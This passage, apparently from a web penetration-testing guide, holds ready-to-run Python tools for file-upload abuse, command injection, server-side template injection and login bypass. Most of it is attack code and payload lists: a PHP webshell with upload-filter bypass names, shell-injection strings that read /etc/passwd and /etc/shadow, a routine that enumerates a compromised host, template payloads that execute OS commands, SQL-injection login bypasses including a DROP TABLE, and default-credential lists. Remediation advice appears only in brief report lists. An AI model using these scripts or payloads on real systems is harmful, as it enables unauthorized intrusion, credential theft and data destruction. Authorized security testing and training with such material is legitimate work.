        upload_paths.extend(urls)
        
        # Look for file path
        path_pattern = r'(/uploads?/[^\s"\']+)'
        paths = re.findall(path_pattern, response.text)
        upload_paths.extend([f"{self.upload_url.split('/api')[0]}{p}" for p in paths])
        
        # Try common upload paths
        common_paths = [
            '/uploads/',
            '/upload/',
            '/files/',
            '/media/',
            '/images/',
            '/img/',
            '/assets/uploads/',
            '/content/uploads/',
            '/wp-content/uploads/',
            '/files/uploads/',
            '/upload/files/'
        ]
        
        base_url = '/'.join(self.upload_url.split('/')[:3])  # Get base URL
        
        for path in common_paths:
            file_url = f"{base_url}{path}{file_info['filename']}"
            upload_paths.append(file_url)
            
        # Try to access the file
        for file_url in upload_paths[:10]:  # Limit attempts
            try:
                response = requests.get(file_url, timeout=3)
                
                if response.status_code == 200:
                    self.vulnerabilities.append({
                        'type': 'File Accessible',
                        'test': test_name,
                        'url': file_url,
                        'content_type': response.headers.get('Content-Type', 'unknown')
                    })
                    
                    # Check if file executes
                    if 'php' in file_info['filename'] and '<?php' in file_info.get('content', ''):
                        # Test webshell
                        test_url = f"{file_url}?cmd=echo%20test"
                        shell_response = requests.get(test_url, timeout=3)
                        if 'test' in shell_response.text:
                            self.vulnerabilities.append({
                                'type': 'Webshell Executable',
                                'url': test_url,
                                'test': test_name
                            })
                    break
            except:
                pass
    
    def test_bypass_techniques(self):
        """Test various upload bypass techniques"""
        
        bypass_tests = [
            {
                'name': 'Change Content-Type',
                'filename': 'shell.php',
                'content': '<?php system($_GET["cmd"]); ?>',
                'headers': {'Content-Type': 'image/jpeg'}
            },
            {
                'name': 'Double Extension',
                'filename': 'shell.php.jpg',
                'content': '<?php system($_GET["cmd"]); ?>',
                'headers': {'Content-Type': 'image/jpeg'}
            },
            {
                'name': 'Case Manipulation',
                'filename': 'shell.PhP',
                'content': '<?php system($_GET["cmd"]); ?>',
                'headers': {'Content-Type': 'application/x-php'}
            },
            {
                'name': 'Whitespace in Name',
                'filename': 'shell.php .jpg',
                'content': '<?php system($_GET["cmd"]); ?>',
                'headers': {'Content-Type': 'image/jpeg'}
            },
            {
                'name': 'Control Characters',
                'filename': 'shell.php%00.jpg',
                'content': '<?php system($_GET["cmd"]); ?>',
                'headers': {'Content-Type': 'image/jpeg'}
            },
            {
                'name': 'MIME Type Confusion',
                'filename': 'shell.php',
                'content': 'GIF89a<?php system($_GET["cmd"]); ?>',
                'headers': {'Content-Type': 'image/gif'}
            },
            {
                'name': 'Content-Length Bypass',
                'filename': 'shell.php',
                'content': '<?php system($_GET["cmd"]); ?>' + ' ' * 1000,
                'headers': {'Content-Type': 'image/jpeg'}
            }
        ]
        
        results = []
        
        for test in bypass_tests:
            print(f"[*] Testing bypass: {test['name']}")
            
            files = {
                self.file_param: (test['filename'], test['content'], test['headers']['Content-Type'])
            }
            
            try:
                response = requests.post(self.upload_url, files=files, headers=test['headers'])
                
                if response.status_code in [200, 201, 302]:
                    results.append({
                        'test': test['name'],
                        'success': True,
                        'status_code': response.status_code
                    })
                    
                    self.vulnerabilities.append({
                        'type': 'Upload Bypass',
                        'technique': test['name'],
                        'filename': test['filename']
                    })
            except Exception as e:
                results.append({
                    'test': test['name'],
                    'error': str(e)
                })
                
        return results
    
    def generate_report(self):
        """Generate file upload vulnerability report"""
        
        report = {
            'total_vulnerabilities': len(self.vulnerabilities),
            'vulnerabilities': self.vulnerabilities,
            'recommendations': [
                "Validate file content, not just MIME type",
                "Store files outside webroot",
                "Use random filenames",
                "Implement virus scanning",
                "Restrict file permissions",
                "Validate file size",
                "Implement content security policy",
                "Use separate domain for uploaded files",
                "Disable execution in upload directories",
                "Implement file type whitelisting"
            ]
        }
        
        # Categorize vulnerabilities
        categories = {}
        for vuln in self.vulnerabilities:
            vuln_type = vuln['type']
            if vuln_type not in categories:
                categories[vuln_type] = 0
            categories[vuln_type] += 1
            
        report['categories'] = categories
        
        return report

# Example usage
tester = FileUploadTester('https://example.com/upload.php')

# Create test files
test_files = tester.create_test_files()

# Run tests
print("[*] Testing file upload functionality...")
upload_results = tester.test_upload(test_files)

print("[*] Testing bypass techniques...")
bypass_results = tester.test_bypass_techniques()

# Generate report
report = tester.generate_report()
print(json.dumps(report, indent=2))

13.7 Command Injection

Command injection vulnerabilities allow attackers to execute arbitrary commands on the host operating system via a vulnerable application.

13.7.1 Command Injection Detection

#!/usr/bin/env python3
# command_injection_tester.py

import requests
import urllib.parse
import time
import re

class CommandInjectionTester:
    def __init__(self, target_url, param_name, method='GET'):
        self.target_url = target_url
        self.param_name = param_name
        self.method = method
        self.vulnerabilities = []
        
    def generate_payloads(self):
        """Generate command injection payloads"""
        
        return {
            'basic': [
                '; ls',
                '| ls',
                '|| ls',
                '& ls',
                '&& ls',
                '`ls`',
                '$(ls)',
                '; ls -la',
                '| ls -la',
                '& ls -la',
                '; id',
                '| id',
                '& id',
                '; whoami',
                '| whoami',
                '& whoami',
                '; pwd',
                '| pwd',
                '& pwd'
            ],
            'time_based': [
                '; sleep 5',
                '| sleep 5',
                '& sleep 5',
                '&& sleep 5',
                '`sleep 5`',
                '$(sleep 5)',
                '; ping -c 5 127.0.0.1',
                '| ping -c 5 127.0.0.1',
                '& ping -c 5 127.0.0.1',
                '; timeout 5',
                '| timeout 5',
                '& ping -n 5 127.0.0.1',  # Windows
                '& ping -t 5 127.0.0.1'    # Windows
            ],
            'output_extraction': [
                '; echo START_TOKEN$(ls)END_TOKEN',
                '| echo START_TOKEN$(ls)END_TOKEN',
                '; cat /etc/passwd',
                '| cat /etc/passwd',
                '; type C:\\Windows\\win.ini',
                '| type C:\\Windows\\win.ini',
                '; echo START_TOKEN; ls; echo END_TOKEN',
                '| echo START_TOKEN; ls; echo END_TOKEN'
            ],
            'bypass_attempts': [
                '; ls #',
                '; ls %0a',
                '; ls %0d%0a',
                '; ls %0d',
                '| ls %0a',
                '${IFS}ls',
                ';{ls,}',
                ';{ls,-la}',
                ';`echo bHMgLWxh|base64 -d`',
                ';$(echo bHMgLWxh|base64 -d)',
                ';cat${IFS}/etc${IFS}passwd',
                ';cat$IFS/etc/passwd'
            ],
            'windows_specific': [
                '& dir',
                '| dir',
                '& type C:\\Windows\\win.ini',
                '| type C:\\Windows\\win.ini',
                '& ipconfig',
                '| ipconfig',
                '& whoami',
                '| whoami',
                '& ping -n 5 127.0.0.1',
                '| ping -n 5 127.0.0.1',
                '& systeminfo',
                '| systeminfo'
            ],
            'linux_specific': [
                '; cat /etc/passwd',
                '| cat /etc/passwd',
                '; uname -a',
                '| uname -a',
                '; ifconfig',
                '| ifconfig',
                '; ps aux',
                '| ps aux',
                '; netstat -an',
                '| netstat -an',
                '; w',
                '| w'
            ],
            'error_based': [
                '; invalidcommand',
                '| invalidcommand',
                '& invalidcommand',
                '; commandthatdoesnotexist',
                '| commandthatdoesnotexist'
            ]
        }
    
    def test_injection(self, payloads):
        """Test for command injection vulnerabilities"""
        
        results = []
        
        # Get baseline response for comparison
        baseline = self.make_request(self.get_normal_request())
        baseline_time = baseline.get('response_time', 0)
        
        for category, payload_list in payloads.items():
            print(f"[*] Testing {category} payloads...")
            
            for payload in payload_list:
                # Make request with payload
                response = self.make_request(payload)
                
                if response:
                    indicators = self.analyze_response(response, payload, baseline)
                    
                    if indicators:
                        results.append({
                            'category': category,
                            'payload': payload,
                            'indicators': indicators,
                            'response_time': response.get('response_time', 0)
                        })
                        
                        if 'time_delay' in indicators:
                            self.vulnerabilities.append({
                                'type': 'Command Injection (Time-based)',
                                'payload': payload,
                                'delay': response.get('response_time', 0) - baseline_time
                            })
                        elif 'command_output' in indicators:
                            self.vulnerabilities.append({
                                'type': 'Command Injection (Output)',
                                'payload': payload,
                                'output_preview': response.get('text', '')[:200]
                            })
                        elif 'error_message' in indicators:
                            self.vulnerabilities.append({
                                'type': 'Command Injection (Error-based)',
                                'payload': payload,
                                'error': response.get('text', '')[:200]
                            })
                            
        return results
    
    def make_request(self, payload):
        """Make HTTP request with payload"""
        
        try:
            start_time = time.time()
            
            if self.method.upper() == 'GET':
                url = f"{self.target_url}?{self.param_name}={urllib.parse.quote(payload)}"
                response = requests.get(url, timeout=10, allow_redirects=False)
            elif self.method.upper() == 'POST':
                data = {self.param_name: payload}
                response = requests.post(self.target_url, data=data, timeout=10)
            else:
                return None
                
            elapsed_time = time.time() - start_time
            
            return {
                'status_code': response.status_code,
                'text': response.text,
                'headers': dict(response.headers),
                'response_time': elapsed_time,
                'url': response.url if hasattr(response, 'url') else self.target_url
            }
            
        except requests.Timeout:
            return {
                'error': 'timeout',
                'response_time': 10
            }
        except Exception as e:
            return {
                'error': str(e)
            }
    
    def get_normal_request(self):
        """Get a normal (non-malicious) request for baseline"""
        return "test"
    
    def analyze_response(self, response, payload, baseline):
        """Analyze response for command injection indicators"""
        
        indicators = []
        
        if 'error' in response:
            return indicators
            
        # Check for time-based injection
        if 'sleep' in payload or 'ping' in payload:
            if response.get('response_time', 0) > 5:
                indicators.append('time_delay')
                
        # Check for command output in response
        command_output_patterns = [
            'root:',  # /etc/passwd
            'uid=',   # id command
            'gid=',
            'groups=',
            'bin/bash',
            'Linux',
            'Windows',
            'Directory of',
            '[fonts]',  # win.ini
            'Volume in drive',
            'Load Average',
            'up time',
            'users logged'
        ]
        
        if payload in response.get('text', ''):
            # Payload reflected - potential injection point
            indicators.append('payload_reflected')
            
        # Check for specific command outputs
        response_text = response.get('text', '')
        for pattern in command_output_patterns:
            if pattern in response_text:
                indicators.append('command_output')
                break
                
        # Check for error messages that might indicate command execution
        error_patterns = [
            'not found',
            'command not found',
            'is not recognized',
            'No such file',
            'Permission denied',
            'cannot execute',
            'failed to execute'
        ]
        
        for pattern in error_patterns:
            if pattern.lower() in response_text.lower():
                indicators.append('error_message')
                break
                
        # Check for unexpected status codes
        if response.get('status_code', 0) != baseline.get('status_code', 200):
            if abs(response.get('status_code', 0) - baseline.get('status_code', 200)) > 0:
                indicators.append('status_code_change')
                
        # Check for unexpected response size
        baseline_length = len(baseline.get('text', ''))
        response_length = len(response_text)
        
        if abs(response_length - baseline_length) > 500:
            indicators.append('response_size_change')
            
        return indicators
    
    def test_blind_injection(self, payloads):
        """Test for blind command injection using out-of-band techniques"""
        
        # This would require a listener or DNS server
        # Simplified version using time delays
        
        results = []
        
        for payload in payloads['time_based']:
            response = self.make_request(payload)
            
            if response and response.get('response_time', 0) > 5:
                results.append({
                    'payload': payload,
                    'delay': response.get('response_time', 0)
                })
                
        return results
    
    def enumerate_system(self, confirmed_payload):
        """Attempt to enumerate system after confirming injection"""
        
        commands = {
            'linux': [
                'id',
                'uname -a',
                'cat /etc/passwd',
                'cat /etc/issue',
                'ifconfig',
                'netstat -an',
                'ps aux',
                'env',
                'pwd',
                'ls -la',
                'whoami',
                'hostname',
                'cat /etc/shadow 2>/dev/null || echo "Cannot read shadow"'
            ],
            'windows': [
                'whoami',
                'ipconfig /all',
                'systeminfo',
                'dir C:\\',
                'type C:\\Windows\\win.ini',
                'net user',
                'netstat -an',
                'tasklist',
                'set',
                'echo %cd%',
                'hostname'
            ]
        }
        
        results = {}
        
        # Try to determine OS first
        os_check = self.execute_command(confirmed_payload, 'uname -a || ver')
        
        if 'Linux' in os_check or 'Unix' in os_check:
            os_type = 'linux'
        else:
            os_type = 'windows'
            
        print(f"[*] Detected OS: {os_type}")
        
        for cmd in commands[os_type]:
            print(f"[*] Executing: {cmd}")
            output = self.execute_command(confirmed_payload, cmd)
            results[cmd] = output
            
        return results
    
    def execute_command(self, base_payload, command):
        """Execute a command using the injection point"""
        
        # Construct payload based on base pattern
        if ';' in base_payload:
            payload = f"; {command}"
        elif '|' in base_payload:
            payload = f"| {command}"
        elif '&' in base_payload:
            payload = f"& {command}"
        elif '`' in base_payload:
            payload = f"`{command}`"
        elif '$(' in base_payload:
            payload = f"$({command})"
        else:
            payload = f"; {command}"
            
        response = self.make_request(payload)
        
        if response and response.get('text'):
            return response['text'][:1000]  # Return first 1000 chars
        else:
            return "No output received"

# Example usage
tester = CommandInjectionTester('https://example.com/ping', 'host')

# Generate payloads
payloads = tester.generate_payloads()

# Test for injection
print("[*] Testing for command injection...")
results = tester.test_injection(payloads)

if tester.vulnerabilities:
    print(f"\n[!] Found {len(tester.vulnerabilities)} potential command injection vulnerabilities:")
    for vuln in tester.vulnerabilities:
        print(f"  - {vuln['type']}: {vuln['payload']}")
        
    # If confirmed, attempt enumeration
    confirmed_payload = tester.vulnerabilities[0]['payload']
    print("\n[*] Attempting system enumeration...")
    system_info = tester.enumerate_system(confirmed_payload)
    print(json.dumps(system_info, indent=2))

13.8 Template Injection

Server-Side Template Injection (SSTI) occurs when user input is embedded in templates without proper sanitization.

13.8.1 Template Injection Detection

#!/usr/bin/env python3
# template_injection_tester.py

import requests
import re

class TemplateInjectionTester:
    def __init__(self, target_url, param_name, method='GET'):
        self.target_url = target_url
        self.param_name = param_name
        self.method = method
        self.vulnerabilities = []
        
    def generate_payloads(self):
        """Generate template injection payloads by engine"""
        
        return {
            'detection': [
                '{{7*7}}',
                '${7*7}',
                '{{7*\'7\'}}',
                '<%= 7*7 %>',
                '${{7*7}}',
                '{{7*7}}',
                '{{7*7}}',
                '*{7*7}',
                '#{7*7}',
                '{{config}}',
                '{{self.__class__.__mro__}}',
                '{{7*7}}',
                '{{7*7}}',
                '{7*7}',
                '{{7*7}}'
            ],
            'jinja2': [
                '{{7*7}}',
                '{{7*\'7\'}}',
                '{{config}}',
                '{{self.__class__.__mro__}}',
                '{{self.__class__.__mro__[2].__subclasses__()}}',
                '{{''.__class__.__mro__[2].__subclasses__()}}',
                '{{config.items()}}',
                '{{request.application.__globals__.__builtins__.__import__(\'os\').popen(\'id\').read()}}',
                '{{url_for.__globals__.os.popen(\'id\').read()}}',
                '{{get_flashed_messages.__globals__.os.popen(\'id\').read()}}'
            ],
            'twig': [
                '{{7*7}}',
                '{{7*\'7\'}}',
                '{{_self.env.registerUndefinedFilterCallback("exec")}}',
                '{{_self.env.getFilter("cat /etc/passwd")}}',
                '{{_self.env.registerUndefinedFilterCallback("system")}}',
                '{{_self.env.getFilter("id;uname -a")}}'
            ],
            'freemarker': [
                '${7*7}',
                '${7*7}',
                '<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}',
                '${"freemarker.template.utility.Execute"?new()("id")}'
            ],
            'velocity': [
                '#set($x=7*7)$x',
                '#set($c=$x.class.forName("java.lang.Runtime"))',
                '#set($rt=$c.getRuntime())',
                '$rt.exec("id")'
            ],
            'smarty': [
                '{$smarty.version}',
                '{php}echo "test";{/php}',
                '{if phpinfo()}{/if}',
                '{system(\'id\')}'
            ],
            'handlebars': [
                '{{7*7}}',
                '{{#with "s" as |string|}}',
                '{{#with "s"}}',
                '{{#with "constructor"}}',
                '{{#with (split)}}'
            ],
            'mustache': [
                '{{7*7}}',
                '{{{7*7}}}',
                '{{&7*7}}'
            ]
        }
    
    def test_injection(self, payloads):
        """Test for template injection vulnerabilities"""
        
        results = []
        
        # First, test detection payloads
        detection_payloads = payloads['detection']
        
        for payload in detection_payloads:
            response = self.make_request(payload)
            
            if response:
                # Check if payload evaluated
                if self.check_evaluation(response, payload):
                    results.append({
                        'type': 'detected',
                        'payload': payload,
                        'status_code': response.get('status_code'),
                        'engine': self.identify_engine(response, payloads)
                    })
                    
                    self.vulnerabilities.append({
                        'type': 'Template Injection Detected',
                        'payload': payload,
                        'response': response.get('text', '')[:200]
                    })
                    
        # If detection successful, try engine-specific payloads
        if results:
            engine = results[0].get('engine', 'unknown')
            
            if engine and engine in payloads:
                engine_payloads = payloads[engine]
                
                for payload in engine_payloads:
                    response = self.make_request(payload)
                    
                    if response and self.check_execution(response, payload):
                        results.append({
                            'type': 'exploitation',
                            'engine': engine,
                            'payload': payload,
                            'status_code': response.get('status_code')
                        })
                        
                        self.vulnerabilities.append({
                            'type': f'Template Injection Exploitation ({engine})',
                            'payload': payload,
                            'output': self.extract_output(response, payload)
                        })
                        
        return results
    
    def make_request(self, payload):
        """Make HTTP request with payload"""
        
        import urllib.parse
        
        try:
            if self.method.upper() == 'GET':
                url = f"{self.target_url}?{self.param_name}={urllib.parse.quote(payload)}"
                response = requests.get(url, timeout=5)
            else:
                data = {self.param_name: payload}
                response = requests.post(self.target_url, data=data, timeout=5)
                
            return {
                'status_code': response.status_code,
                'text': response.text,
                'headers': dict(response.headers),
                'url': response.url
            }
            
        except Exception as e:
            return None
    
    def check_evaluation(self, response, payload):
        """Check if template was evaluated"""
        
        # If payload appears exactly as sent, it wasn't evaluated
        if payload in response.get('text', ''):
            # But if it's 49 (7*7) instead of {{7*7}}, it was evaluated
            if '{{7*7}}' in payload and '49' in response.get('text', ''):
                return True
            elif '${7*7}' in payload and '49' in response.get('text', ''):
                return True
            else:
                return False
        else:
            # Payload not in response - might have been evaluated
            return True
    
    def identify_engine(self, response, payloads):
        """Attempt to identify template engine"""
        
        response_text = response.get('text', '')
        
        # Check for 49 (7*7 evaluation)
        if '49' in response_text:
            # Could be any engine that evaluates math
            
            # Try engine-specific indicators
            for engine, engine_payloads in payloads.items():
                if engine == 'detection':
                    continue
                    
                for payload in engine_payloads[:3]:  # Check first few
                    test_response = self.make_request(payload)
                    if test_response and self.check_execution(test_response, payload):
                        return engine
                        
        # Check for specific error messages
        error_indicators = {
            'jinja2': ['jinja2', 'UndefinedError', 'TemplateSyntaxError'],
            'twig': ['Twig', 'Twig_Error'],
            'smarty': ['Smarty', 'smarty error'],
            'freemarker': ['FreeMarker', 'freemarker'],
            'velocity': ['Velocity', 'org.apache.velocity']
        }
        
        for engine, indicators in error_indicators.items():
            for indicator in indicators:
                if indicator.lower() in response_text.lower():
                    return engine
                    
        return 'unknown'
    
    def check_execution(self, response, payload):
        """Check if payload resulted in command execution"""
        
        response_text = response.get('text', '')
        
        # Check for command output indicators
        indicators = [
            'uid=', 'gid=', 'root:', 'bin/bash', 'Linux',
            'Directory of', 'Volume in drive', 'Microsoft Windows',
            'Load Average', 'up time', 'users logged'
        ]
        
        for indicator in indicators:
            if indicator in response_text:
                return True
                
        return False
    
    def extract_output(self, response, payload):
        """Extract command output from response"""
        
        response_text = response.get('text', '')
        
        # Try to find output between markers or just return clean response
        if 'START_TOKEN' in payload and 'END_TOKEN' in payload:
            # Extract between tokens
            pattern = r'START_TOKEN(.*?)END_TOKEN'
            match = re.search(pattern, response_text, re.DOTALL)
            if match:
                return match.group(1).strip()
                
        return response_text[:500]  # Return first 500 chars
    
    def generate_report(self):
        """Generate template injection report"""
        
        report = {
            'total_vulnerabilities': len(self.vulnerabilities),
            'vulnerabilities': self.vulnerabilities,
            'recommendations': [
                "Avoid user input in templates",
                "Use sandboxed template engines",
                "Implement strict input validation",
                "Disable dangerous template features",
                "Keep template engines updated",
                "Use context-aware escaping",
                "Implement content security policy"
            ]
        }
        
        return report

# Example usage
tester = TemplateInjectionTester('https://example.com/profile', 'name')

payloads = tester.generate_payloads()
results = tester.test_injection(payloads)

if results:
    print(f"\n[!] Template injection detected!")
    for result in results:
        print(f"  - {result['type']}: {result.get('engine', 'unknown')} - {result['payload']}")
        
    report = tester.generate_report()
    print(json.dumps(report, indent=2))

13.9 Authentication Bypass

Authentication bypass vulnerabilities allow attackers to circumvent login mechanisms and gain unauthorized access.

13.9.1 Authentication Bypass Techniques

#!/usr/bin/env python3
# auth_bypass_comprehensive.py

import requests
import hashlib
import base64
import urllib.parse
from bs4 import BeautifulSoup

class AuthenticationBypassTester:
    def __init__(self, login_url, username_field='username', password_field='password'):
        self.login_url = login_url
        self.username_field = username_field
        self.password_field = password_field
        self.session = requests.Session()
        self.vulnerabilities = []
        
    def test_sql_injection_auth_bypass(self):
        """Test SQL injection in login form"""
        
        payloads = [
            # Basic bypass
            ("' OR '1'='1", "' OR '1'='1"),
            ("admin'--", "anything"),
            ("admin' #", "anything"),
            ("' OR 1=1--", "anything"),
            ("' OR 1=1#", "anything"),
            ("' OR '1'='1'--", "anything"),
            ("' OR '1'='1'#", "anything"),
            
            # UNION-based
            ("' UNION SELECT 1,1,'admin','password'--", "anything"),
            
            # Comment variations
            ("admin'/*", "anything"),
            ("admin';--", "anything"),
            ("admin' OR 1=1 LIMIT 1--", "anything"),
            ("admin' OR 1=1 LIMIT 1#", "anything"),
            
            # Multiple quotes
            ("'' OR '1'='1", "'' OR '1'='1"),
            ("''''''''' OR '1'='1", "anything"),
            
            # Time-based (blind)
            ("' OR SLEEP(5)--", "anything"),
            ("'; WAITFOR DELAY '0:0:5'--", "anything"),
            
            # Stacked queries
            ("admin'; DROP TABLE users--", "anything"),
            
            # Alternative syntax
            ("\" OR \"1\"=\"1", "\" OR \"1\"=\"1"),
            ("\" OR 1=1--", "anything"),
            ("\" OR 1=1#", "anything"),
            
            # Boolean-based
            ("' AND 1=1 UNION SELECT 1, 'admin', 'password'--", "anything"),
            
            # Error-based
            ("' AND 1=CONVERT(int, @@version)--", "anything"),
            
            # Blind boolean
            ("' AND '1'='1", "' AND '1'='1"),
            ("' AND '1'='2", "' AND '1'='2")
        ]
        
        results = []
        
        for username, password in payloads:
            data = {
                self.username_field: username,
                self.password_field: password
            }
            
            try:
                response = self.session.post(self.login_url, data=data, allow_redirects=False)
                
                # Check if login successful
                if self.is_login_successful(response):
                    results.append({
                        'technique': 'SQL Injection',
                        'username': username,
                        'password': password,
                        'status_code': response.status_code
                    })
                    
                    self.vulnerabilities.append({
                        'type': 'SQL Injection Auth Bypass',
                        'payload': f"{username}:{password}"
                    })
            except Exception as e:
                print(f"Error: {e}")
                
        return results
    
    def test_default_credentials(self):
        """Test common default credentials"""
        
        defaults = [
            # Common combinations
            ('admin', 'admin'),
            ('admin', 'password'),
            ('admin', '123456'),
            ('administrator', 'administrator'),
            ('root', 'root'),
            ('root', 'toor'),
            ('user', 'user'),
            ('test', 'test'),
            ('guest', 'guest'),
            ('demo', 'demo'),
            
            # Empty passwords
            ('admin', ''),
            ('administrator', ''),
            ('root', ''),
            
            # Common service defaults
            ('tomcat', 'tomcat'),
            ('jenkins', 'jenkins'),
            ('postgres', 'postgres'),
            ('mysql', 'mysql'),
            ('oracle', 'oracle'),
            ('weblogic', 'weblogic'),
            ('jboss', 'jboss'),
            ('glassfish', 'glassfish'),
            
            # Device defaults
            ('cisco', 'cisco'),
            ('cisco', 'password'),
            ('netgear', 'password'),
            ('linksys', 'admin'),
            ('dlink', 'admin'),
            ('ubnt', 'ubnt'),
            
            # Application defaults
            ('wpadmin', 'wpadmin'),
            ('wordpress', 'wordpress'),
            ('joomla', 'joomla'),
            ('drupal', 'drupal'),
            ('magento', 'magento'),
            
            # Numeric patterns
            ('admin', '12345'),
            ('admin', '12345678'),
            ('admin', '111111'),
            ('admin', '000000'),
            
            # Common words
            ('admin', 'qwerty'),
            ('admin', 'abc123'),
            ('admin', 'password123'),
            ('admin', 'letmein'),
            ('admin', 'welcome'),
            ('admin', 'monkey'),
            ('admin', 'dragon')
        ]
        
        results = []
        
        for username, password in defaults:
            data = {
                self.username_field: username,
                self.password_field: password
            }
            
            try:
                response = self.session.post(self.login_url, data=data, allow_redirects=False)
                
                if self.is_login_successful(response):
                    results.append({
                        'technique': 'Default Credentials',
                        'username': username,
                        'password': password,
                        'status_code': response.status_code
                    })
                    
                    self.vulnerabilities.append({
                        'type': 'Default Credentials',
                        'credentials': f"{username}:{password}"
                    })
            except:
                pass
                
        return results
    
    def test_weak_password_policy(self):
        """Test for weak password policy"""
        
        weak_passwords = [
            '123456', 'password', '12345678', 'qwerty', 'abc123',
            '123456789', '111111', '1234567', 'iloveyou', 'adobe123',
            '123123', 'admin', '1234567890', 'letmein', 'photoshop',
            '1234', 'monkey', 'shadow', 'sunshine', '12345',
            'password1', 'princess', 'azerty', 'trustno1', '000000'
        ]
        
        results = []
        
        # Create a test account first (in a real test, you'd register first)
        # Here we're just testing if the server accepts weak passwords
        
        for password in weak_passwords:
            # This would test password change functionality
            # Simplified version
            pass
            
        return results
    
    def test_parameter_tampering(self):
        """Test parameter tampering in authentication"""
        
        tampering_tests = [
            # Modify parameter names
            {'username': 'admin', 'password': 'anything', 'admin': 'true'},
            {'username': 'admin', 'password': 'anything', 'is_admin': '1'},
            {'username': 'admin', 'password': 'anything', 'role': 'admin'},
            {'username': 'admin', 'password': 'anything', 'user_type': 'administrator'},
            {'username': 'admin', 'password': 'anything', 'authenticated': 'true'},
            
            # Add unexpected parameters
            {'username': 'admin', 'password': 'anything', 'debug': 'true'},
            {'username': 'admin', 'password': 'anything', 'test': 'true'},
            
            # Parameter pollution
            {'username': ['admin', 'admin'], 'password': 'anything'},
            {'username': 'admin', 'password': ['anything', 'anything']},
            
            # Remove parameters
            {'username': 'admin'},  # No password
            {'password': 'anything'},  # No username
            
            # Empty values
            {'username': '', 'password': ''},
            {'username': 'admin', 'password': ''},
            {'username': '', 'password': 'anything'},
            
            # Whitespace
            {'username': ' admin ', 'password': ' anything '},
            {'username': 'admin', 'password': 'anything', 'token': ' '}
        ]
        
        results = []
        
        for test_data in tampering_tests:
            try:
                response = self.session.post(self.login_url, data=test_data, allow_redirects=False)
                
                if self.is_login_successful(response):
                    results.append({
                        'technique': 'Parameter Tampering',
                        'data': test_data,
                        'status_code': response.status_code
                    })
                    
                    self.vulnerabilities.append({
                        'type': 'Parameter Tampering',
                        'data': str(test_data)
                    })
            except:
                pass
                
        return results
    
    def test_http_method_tampering(self):
        """Test HTTP method tampering"""
        
        methods = ['GET', 'POST', 'PUT', 'PATCH', 'DELETE', 'HEAD', 'OPTIONS']
        results = []
        
        base_data = {
            self.username_field: 'admin',
            self.password_field: 'anything'
        }
        
        for method in methods:
            try:
                if method == 'GET':
                    response = self.session.get(self.login_url, params=base_data, allow_redirects=False)
                elif method == 'POST':
                    response = self.session.post(self.login_url, data=base_data, allow_redirects=False)
                elif method == 'PUT':
                    response = self.session.put(self.login_url, data=base_data, allow_redirects=False)
                elif method == 'PATCH':
                    response = self.session.patch(self.login_url, data=base_data, allow_redirects=False)
                elif method == 'DELETE':
                    response = self.session.delete(self.login_url, data=base_data, allow_redirects=False)
                elif method == 'HEAD':
                    response = self.session.head(self.login_url, params=base_data)
                elif method == 'OPTIONS':
                    response = self.session.options(self.login_url)
                    
                if method in ['HEAD', 'OPTIONS']:
                    continue
                    
                if self.is_login_successful(response):
                    results.append({
                        'technique': 'HTTP Method Tampering',
                        'method': method,
                        'status_code': response.status_code
                    })
                    
                    self.vulnerabilities.append({
                        'type': 'HTTP Method Tampering',
                        'method': method
                    })
            except:
                pass
                
        return results
    
    def test_session_cookie_weakness(self):
        """Test for weak session cookie generation"""
        
        # First, login normally
        data = {
            self.username_field: 'test_user',
            self.password_field: 'test_pass'
        }
        
        response = self.session.post(self.login_url, data=data)
        
        # Collect session cookies
        cookies = self.session.cookies.get_dict()
        
        results = {}
        
        for name, value in cookies.items():
            results[name] = {
                'value': value,
                'length': len(value),
                'entropy': self.calculate_entropy(value)
            }
            
            # Check for weak patterns
            if value.isdigit():
                self.vulnerabilities.append({
                    'type': 'Weak Session Cookie',
                    'cookie': name,
                    'issue': 'Numeric session ID'
                })
            elif len(value) < 16:
                self.vulnerabilities.append({
                    'type': 'Weak Session Cookie',
                    'cookie': name,
                    'issue': 'Short session ID'
                })
            elif value in ['1', '0', 'true', 'false', 'admin']:
                self.vulnerabilities.append({
                    'type': 'Weak Session Cookie',
                    'cookie': name,
                    'issue': 'Predictable session value'
                })
                
        return results
    
    def calculate_entropy(self, value):
        """Calculate simple entropy of cookie value"""
        
        import math
        
        # Count character frequencies
        freq = {}
        for c in value:
            freq[c] = freq.get(c, 0) + 1
            
        # Calculate entropy
        entropy = 0
        length = len(value)
        for count in freq.values():
            probability = count / length
            entropy -= probability * math.log2(probability)
            
        return round(entropy, 2)
    
    def test_remember_me_functionality(self):
        """Test remember me functionality security"""
        
        data = {
            self.username_field: 'test_user',
            self.password_field: 'test_pass',
            'remember': 'on'
        }
        
        response = self.session.post(self.login_url, data=data)
        
        # Check if persistent cookie is set
        cookies = self.session.cookies.get_dict()
        
        remember_cookies = []
        for name, value in cookies.items():
            if 'remember' in name.lower() or 'persist' in name.lower():
                remember_cookies.append({'name': name, 'value': value})
                
                # Test for weak persistence token
                if len(value) < 32:
                    self.vulnerabilities.append({
                        'type': 'Weak Remember Me Token',
                        'cookie': name,
                        'length': len(value)
                    })
                    
        return remember_cookies
    
    def test_2fa_bypass(self):
        """Test for 2FA bypass techniques"""
        
        bypass_techniques = [
            # OTP in response
            ('response_contains_otp', None),
            
            # OTP reuse
            ('reuse_otp', None),
            
            # OTP brute force
            ('brute_force_otp', range(0, 1000000, 10000)),  # Sample every 10000
            
            # Backup code abuse
            ('backup_codes', None),
            
            # OAuth bypass
            ('oauth_bypass', '&prompt=none'),
            
            # Session manipulation
            ('session_bypass', None)
        ]
        
        results = []
        
        # This would require a multi-step process
        # Simplified for demonstration
        
        return results
    
    def is_login_successful(self, response):
        """Determine if login was successful"""
        
        # Check for redirect after login
        if response.status_code in [301, 302, 303, 307, 308]:
            location = response.headers.get('Location', '')
            if 'dashboard' in location or 'home' in location or 'profile' in location:
                return True
                
        # Check response content for success indicators
        success_indicators = [
            'welcome', 'dashboard', 'logout', 'profile',
            'login successful', 'authenticated', 'logged in'
        ]
        
        response_text = response.text.lower()
        for indicator in success_indicators:
            if indicator in response_text:
                return True
                
        # Check for absence of login form
        if 'login' not in response_text and 'sign in' not in response_text:
            if response.status_code == 200:
                return True
                
        return False
    
    def generate_report(self):
        """Generate authentication bypass report"""
        
        report = {
            'total_vulnerabilities': len(self.vulnerabilities),
            'vulnerabilities': self.vulnerabilities,
            'recommendations': [
                "Implement strong password policies",
                "Use multi-factor authentication",
                "Rate limit login attempts",
                "Implement account lockout",
                "Use secure session management",
                "Validate all input server-side",
